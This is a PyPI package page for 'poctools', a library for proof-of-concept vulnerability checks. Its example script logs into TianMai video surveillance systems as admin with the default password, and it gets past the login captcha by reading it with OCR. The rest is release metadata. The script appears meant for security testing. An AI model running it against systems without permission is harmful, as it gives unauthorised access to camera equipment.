poc common tool library
Project description
poctools
install
pip install poctools
example
from poctools import BasicPoc
from poctools.encrypt import md5
from poctools.ocr import new_number
class TianMaiNetworkVideoSurveillanceWeakCipherPoc(BasicPoc):
jsessionid_uri = "/login.jsp"
login_uri = "/j_login.auth"
verify_code_uri = "/jsp/common/validateCode.jsp"
def __init__(self):
super(TianMaiNetworkVideoSurveillanceWeakCipherPoc, self).__init__()
self.name = "天迈网络视频监控弱密码"
def verify(self, url: str) -> bool:
jsessionid_response = self.get(url + self.jsessionid_uri)
if jsessionid_response is None:
return False
payload = {"j_apptype": "1", "j_username": "admin", "remember-me": False}
while True:
verify_code_response = self.get(url + self.verify_code_uri)
if verify_code_response is None:
return False
code = new_number(verify_code_response.content)
if len(code) != 4:
continue
payload.setdefault("validateCode", code)
payload.setdefault("j_password", md5("admin" + code))
login_response = self.post(url + self.login_uri, data=payload)
if login_response is None:
return False
return login_response.status_code == 200 and "验证码有误" not in login_response.text
if __name__ == '__main__':
target = "http://127.0.0.1:18080"
tp = TianMaiNetworkVideoSurveillanceWeakCipherPoc()
result = tp.run(target)
print(f"{target} -> {result}")
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
poctools-0.0.2.tar.gz
(3.7 kB
view details)
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file poctools-0.0.2.tar.gz.
File metadata
- Download URL: poctools-0.0.2.tar.gz
- Upload date:
- Size: 3.7 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.7.1 importlib_metadata/4.9.0 pkginfo/1.8.2 requests/2.26.0 requests-toolbelt/0.9.1 tqdm/4.62.3 CPython/3.9.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
6093ec98288a7dba0950332b4dd0dc18ca1edd6cbef6d03a0e7aca31a10648e7
|
|
| MD5 |
6476fccac3a018a223b941d51faba714
|
|
| BLAKE2b-256 |
c48de30635181ce5713e4f7984687cefeeafd39fed5c732b4b7b0b68d3469a9b
|
File details
Details for the file poctools-0.0.2-py3-none-any.whl.
File metadata
- Download URL: poctools-0.0.2-py3-none-any.whl
- Upload date:
- Size: 6.3 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.7.1 importlib_metadata/4.9.0 pkginfo/1.8.2 requests/2.26.0 requests-toolbelt/0.9.1 tqdm/4.62.3 CPython/3.9.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
a49b9f12c91238e01909c31e855aa683f01fbabd6a2a8d4ced35110a57e1325b
|
|
| MD5 |
754a3506649e0a73cefe0eab60954a88
|
|
| BLAKE2b-256 |
67d032011d4e69a283e9c2ab76f87761d3747daf1ca3768c1a53ed0a148233dd
|